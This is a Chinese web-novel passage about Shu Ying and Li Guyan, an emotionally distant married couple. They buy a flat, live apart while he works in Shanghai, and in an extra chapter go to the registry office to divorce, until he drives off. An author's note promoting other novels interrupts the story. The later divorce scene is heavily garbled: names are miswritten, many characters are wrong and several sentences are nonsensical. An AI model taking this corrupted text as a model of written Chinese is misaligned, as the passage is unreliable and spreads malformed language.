到了周日,舒英和李固言两人去看房子,一套二居室,虽然旧了点但布局采光都不错,很快交了钱买下。 一套房子万把块钱,舒英是没这个钱的,都是李固言付的钱,所以她也没把这个房子看成是属于自己的,但没想到李固言在户主那一栏只写了她的名字。 舒英愣了下,不可思议般看了他一眼,他脸上没什么表情,看不出什么想法,只把笔递给她,让她签名。 她接过笔,也没犹豫,流畅地写上自己的名字。 买完房子后,就是装修、搬家。 买房子的钱都是李固言掏的,装修的钱,舒英不好意思再让他全付,因此特意拿了存折去银行取了钱出来给他。 李固言看着递过来的钱怔忡。 舒英努了下嘴:“你挣钱也不容易,买房子装修的钱不是小数,我也有些存款,肯定不能全让你掏钱。” 李固言不想接,总觉得接了这钱,两人就真的不是夫妻,而是室友,他拿着扫把避开她道:“没事,我有钱。” “你就拿着吧。”舒英追上去把钱塞到他口袋,“你有钱就先存起来,现在爸妈年龄都大了,万一以后有个病啊痛的,有存款也不着急。”说完也转身去拿了扫把,跟他一块打扫灰尘。 时间又过去两年,在这两年里,李固言的事业重心转到了沪市,差不多两三个月就回来一趟,待个几天就又回去。 舒英也习惯了这个生活模式,他回不回来日子都照过。 她是自在,李妈却很是不满意,每回过来都免不了要说两句嘴。 “你们俩这结婚都多少年了?肚子怎么都没个动静呢?隔壁家儿子才结婚一年,孙子都生出来了,我这几年年年都盼着能当奶奶,结果你们俩倒是不急。”说着她凑过来,问,“你们去医院检查过没?是不是身体有什么毛病?你说你这天天守着个医院,要是有什么毛病就赶紧瞧瞧,拿点药吃。是不是你们医院医术不行?回头我去给你打听点偏方,说不定还是偏方管用。” 舒英听着她的话,手里的活没停,孩子又不是石头縫里蹦出来的,不播种施肥,上哪摘果子吃?哪有这么好的事,但这种话没必要跟她说,于是她回道:“妈,检查过了,我跟他身体没毛病,就是緣分没到。” 李妈皱起眉:“缘分纷分,以前固言还在机械厂的时候,你俩能天天待处,现在他去沪市了,隔那么老远,就是想有缘分都难,要我说,你幹脆把你现在的工作辞了,也去沪市算了,夫妻俩成天一个南一个北的怎么能行?再大的缘分也都被距离分散了。” 舒英闻言没搭腔,乍然去沪市,她能做什么?而且她在二院工作的好好的,凭什么就因为李固言在沪市她就要辞掉工作去沪市。 要说两人感情深厚也就罢了,问题是他们俩就不是正常夫妻的样子,本来李固言还没走的时候,两人之间就生疏的不像一家子人,现在他去沪市发展,他们之间更是半点感情都没有了,她就是去了,孩子该生不出来也还是生不出来。 李妈不知道夫妻俩之间的这些私密事,只觉得是距离阻隔了他们,也心疼儿子一个人在那么远的地方工作生活,平时身边也没个知冷知热的人。 兒子出去那么久,她也是听到了一点风言风语的,说什么男人一出去没人管着,身边小三小四是少不了的,但她的儿子她知道,固言就不是那样的人,他一个人在外面,每天肯定不是工作就还是工作,说不定每天饭能忘了吃。 “我说真的,固言不是后天就回来了吗?他这次回来,你俩就去把辞职手续办了吧,我看固言以后是不会回来上班了,你也跟着去吧,你现在这工作一个月仁瓜俩枣的,还不如去帮帮他,你俩块儿干,賺的 钱肯定比现在多,他身边也能有个人照顾。” “妈,我在二院挺好的,现在还不太想走。” 李妈看着她都疑惑,满眼不解地道:“人家家里男人一出门,老婆在家里都又忧又愁,生怕男人变了心,不要她了,我在你身上怎么半点没看出来呢?我看你小日子过得滋滋润润的,也不怀孕生孩子,对固言也不闻不问的,你们这个婚结的到底是干嘛的呢?” 舒英不说话,忧和愁她的确没有,但说实话她心里也是疑惑的,有一句话她是问对了,他们这个婚结的到底是干嘛的呢?她到现在也搞不明白,好像糊里糊涂就变成了今天这副样子。 当初相亲,她对他印象不错,他条件也好,所以他提,她就答应了,可他这人性子太冷,她琢磨不透也不知道怎么去捂,或者说她不愿意拉下脸去捂热他,所以他一冷脸,她自然也就不再搭理他。 慢慢的,两人之间的感情也就越来越淡,也就变成了现在这样,分隔两地,没有一点想念和惦记,甚至因为这场婚姻,她觉得天底下的婚姻也不过就是那么一回事,都是搭伙过日子罢了,所以有时候看到身边人对伴侣爱的难舍难分,她也会真的觉得困惑,愛到底是怎么样的?真的能对一个陌生人爱的这么深吗?真的不是演的吗? 李妈知道她一向是有些犟的,她不愿意的事再劝也没用,一时也有点生气,这个儿媳妇娶到家里来后,就跟块石头一样冷冰冰的,也不知道关心儿子,就说她当初不同意,哪有才见一面就领证的,这下好了,娶了这么个媳妇,日子过成这个鬼样子。 “你那个破医院到底有什么好?你天天都不跟人家聊天的吗?你男人在外面打拼,你俩还没个孩子,你是真不知道大家都会怎么说吗?”李妈耷拉个脸,很是不开心。她这话说的不留体面,舒英也不太开心,她当然知道别人背后都怎么说她,但知道又有什么用,没孩子没感情,这不都是事实吗?难道她真的如了她的意,跟着李固言去了沪市,两人就能有感情有孩子了吗?舒英和李妈不欢而散,过两天李固言回来,舒英脸色也不太好。 李固言觑着她,问:“怎么了?工作上不顺心?” “没。”舒英摇头。 李固言见她不肯说,也就不再多问,只是这次回来,两人之间比以往都更沉默,谁也不说话,也没什么话好说。 临走前,李固言沉默一瞬后看着她认真道:“我现在工作挺忙的,以后应该不会再经常回来了。”他想,也许她是不想让他回来的,那个小家里里外外都收拾得很好,干净整洁又温馨,但是,没有一点他的影子,他想,或许不喜欢就是不喜欢,强扭的瓜就是不甜,这是怎么勉强也勉强不来的。 舒英听到这话有些诧异,但也没多想,他现在事业上升期,忙很正常,没空回来就更正常不过,她点点头哦一声。 李固言眨了眨眼,遮掩住眼底的失落,他以为她会有点反应,就算是一点点不舍也好,原来没有啊,原来真的一点点都不喜欢他啊。 他半自嘲地浅笑了下,从怀里掏出一个存折递给她:“这个是我这两年攒的,你拿着吧,家里要是有什么需要添置的,就直接买就行。” 舒英打开看了眼上面的数字,有些惊讶抬头:“这么多钱?”又连忙要把存折还给他,“家里没什么要添置的,你每个月都给我汇钱,而且我自己也有存钱。这钱太多了,你还是带在身上吧,你一个人在外面,要花钱的地方多。” 李固言摇头没收,拎着行李箱出门。 舒英看着他的背影,总觉得有什么东西不一样了,但又说不上来。 其实他这次回来,她是考虑过要不要跟他提离婚的,上次李妈那么一说,她也觉得他们俩现在的日子过得不像样,不如早点离婚,但家里因为舒秀珍离婚的事已经闹得不堪,大家都心力交瘁,这时候她再说她也要离婚,恐怕二老会受不了,因此她想想也就罢,到最后都没有提出来。 我打算开的新文,感兴趣的小天使点进去收藏一个吧~ 女主 高岭之花追妻火葬场了 九五县城小夫妻 91、番外二… 时间又过去两年。 小胡将药房里的药品整理好后,有些美慕地看看舒英手里的红本证书道:“姐,你说咱们都上一样的班,怎么你就还能有精力自考本科呢?”舒英笑起来:“你不觉得现在学历越来越重要了吗?医院这些年招的人才不少都是本科研究生,而且学历高的人升职都比别人要快点,所以我建议你抽空也去自考,这个不难的,就是麻顺点,费点精力。”小胡摇摇头,语气中有些遗憾:“不行啊,我家小宝这两年最是磨人的时候,每天下了班根本没有自己的时间,让我一边抱着他一边看书,那还不如杀了我来得简单点呢。”舒英笑笑没说话,将证书珍重地收起来。 小胡觑着她的神色问:“姐,你跟姐夫现在怎么样了啊?” “快离婚了。”舒英坦言道,“他过段时间回来,等他回来,我们就去办离婚手续。” “啊?”小胡在问之前是有这个猜想,但没想到这么快,她摸着鼻子有些讪讪。 舒英倒是没觉得有什么,还开玩笑说:“我跟他会离婚不是很正常吗?别人不清楚,你天天跟我待在一处还能不知道我们的情况吗?” 虽然舒英不是个爱多说的人,尤其是不喜欢把自己的事情到处说但小胡倒是也了解些的,他们夫妻俩这几年都没见过几回面,她虽然没银别人说过,但心里也奇怪着,这哪有夫妻是这样的?这样过下去不是迟早要离婚吗? 小胡尬笑了下,道:“姐,其实我还是有些不明白。” “什么?” “姐夫是外面有人了吗?总觉得你跟姐夫和其他我知道的夫妻状况不太一样。”小胡摇头,有些不解。 舒英失笑:“他现在外面肯定没人,虽然我们俩要离婚了,但他的人品我不是知道的,只要我们还是夫妻,他就不会做出这种事。而且我们的离婚跟这件事没关系,就是我们缘分太浅,不适合做夫妻。”小胡更不解了:“你们不合适,还能做这么多年的夫妻啊?那从这一点来看,你们还挺合适。” 舒英听了她的话忍不住笑起来,摇着头没有说话。 几天后,李固言回来,两人在家里商议离婚细节。 舒英看着这间自己住了几年的房子率先笑道:“这问房子还是你当年买的,我分钱也没出。当初结婚就是奔着你有房子,所以现在我厚有脸皮就不把它还给你了。”这房子她住楔了,每处布置都带着自己的小巧思,实在是不想换房子 李固言点头忙说:“这房了就是买哈你住的,是你的。”说完忍不住看了她眼,这么久没见,她越发松地自然了,哪响是在这个谈论离婚的场合,也没有半点紫张不安,整个人坐在那好像两跟他讨论几天天气真好一般。 对了。”舒黄突然站起身,回屋拉开床头的抽屈,从里面拿了存折出来,再吸着拖鞋,不紧不慢地走回原位坐下,将存折放在桌面上移到他面前,“这个给你,这些都是你这些年每月给我工的钱,再加上上回给我的那一笔钱,我都没花,都在这里面了,今天物归原主。” 李固言看有眼前的有折,没伸手去碰,薄后第抿,心口酸,有些生气,就这公讨天他,这公想要和他尽快划情距离吗?连他给的钱都不原息花,还独存在一个存折里,就等有还给他足吗? 舒英看了他一眼,他端坐着,面色深沉,看不出在想什么,看到他这样子,她突然想到,今天应该会是最后次见他,听说他在沪市的公司功得蒸蒸日上,日进斗金,以后估计是要在那边安家定居,不会回来了。 想着想着,思绪有些飘远,她还没去过沪市,听说那边高楼耸立,繁华发达,跟安城大不一样,等以后休假,她定要抽空去玩趟。 李固言又把存折推回来,垂着眼晴抿了下唇道:“这个钱是你的,我不会要,我们结婚这么多年,我也没能给你什么”他声音有些沙哑,听起来情绪不高。 舒英汽异瞬后反驳说:“怎么会?这间房子不就是你给我的吗?而且说真心话,跟你结婚这么多年,我感觉我日子过得还是很不错的,至少我从没为钱发过愁,你也没有储磨过我,所以你不用觉得倪对我。人家说百年修得同船渡,千年修得共枕眠,我们夫妻一场是缘分,现在只是缘分尽了。” 相比于舒秀珍和严磊,她觉得自己这场婚姻别的不说,至少没有失了体面,哪怕两人以后不再是夫妻,碰巧见面时最差也不过是陌生过路人,不会闹得不可开胶,脸红脖子粗。李固言摇摇头,直觉这样不够,这样还远远不够。 舒英扭头看了眼墙上的表笑了声说:“中午了,我去烧饭,你最后再尝一下我的手艺,我们下午就去民政局办手续,也算是好聚好散。” “嗯。”李固言不敢看她,答应一声。 舒英起身去厨房,道:我得我们当时还在机械门的时候,除了吃食堂,就是下面条,那我今天就还下面条了?就是不知道吃懊了山珍河味的嘴巴还能有能吃便。”她笑起来,朋友化的开看玩笑“吃得惯。”李固言强忍着,才没让喉头的哽咽发出声。 舒英跟他也很陌生了,实在没有太多话说,进了厨房后,安静的和面揉面擀面,水烧开后面条下锅,放青菜,打两个荷包蛋,两碗青菜鸡蛋面很快端上桌。 她将他的那一碗端到他面前,笑着招呼道:“尝尝看。” 李固言点点头,拿起筷子,夹起面条往嘴里放,手擀的面条筋道有嚼劲,还是当初的味道,简简单单,但却带有家的温情,比他这几年吃的再名贵的饭店菜都子吃。 舒英问:“怎么样,还吃得惯吗?” 李固言只是点头,他现在不敢说话,生怕一开口,就暴露了自己的情绪。 舒英见他喜欢,笑了下也拿起筷子,吃的慢条斯理。 吃完饭,两人带着各种证件,就准备去民政局。 出门前,李固言紧着手指,嘴巴张了又张,犹犹豫豫。 舒英换好鞋回头就看到他这副表情,奇怪问道:“你怎么了?” “没事。”李固言下意识摇头。 舒英瞥了他一眼,没多问,推开门出去。 李固言开车回来的,舒英这还是第一次坐他的车,好奇地多看了几眼,这年不便宜,想来他现在的确是温出头了,她战笑了下,也为他感到高兴,当初两人在机械厂,他付出的努力,她都是清楚的,所以最后被迫离开,她也曾为他感到不服,不过现在一切都过去了,一切都在向着好的一面发展。 到了民政局门口,李固言停好车,舒英刚要打开车门下去,就听他问:“我能再问你一个问题吗?” 舒英诧异地坐回去,疑惑点了点头,看着他说:“当然可以。” “我想问,“李固言没敢看她,嘴唇动了动,道,“我想问,严建中。” “严建中?”舒英蹙了蹙眉,“他怎么了?””我划知道你还点欢他吗?”他强迫自己完整说出这句话,每说一个字,心都在刻斗,脑海中刹那问便闪过无数种对这个答案的预设,这么多年过去了,她还喜欢他吗?如果还喜欢呢?如果,已经不喜欢了呢…… “喜欢他?”舒英被他搞得一头雾水,不明白他为什么突然这么说,“你是说我喜欢他?” 李固言不语,放在方向盘上的长指收紧。 舒英突然笑出声,像是听到什么笑话,好笑地摇着头说:“女好吧,虽然我不明白你为什么这么问,但念在我们夫妻场,我还是会曰答你这个问题,我从来没有喜欢过他,他就是我一个儿时玩伴,我怎么会喜欢他?这种话你可不要出去说,回头被他老婆听到,我真是跳进黄河都洗不清。” 她自顾自说着,没注意到男人的神色,李固言在听到她说她从没喜欢过的时候,眼神猛然亮,脸上都是惊讶,惊讶过后又是迷茫,对过去的,对现在的,对未来的。 舒英回答完,把手里的证件整理了下,道:“走吧,我们下车吧。”她伸手要去开车门,还没碰到车把手,就听见车子发动的声音。 她不敢相信地转头看着驾驶座上的男人,问:“发生什么事了吗?”这都到地方了,怎么一脚油门又走了? 李固言看看两边不停往后走的街道,时也说不上来自己为什么要这样做,只是在她刚刚要下车的那瞬间,他心底突然有股说不清来源的力量,促使他驱车离开民政局,好像只要再在那里待 会儿,他往后的人生中就会失去最重要的东西。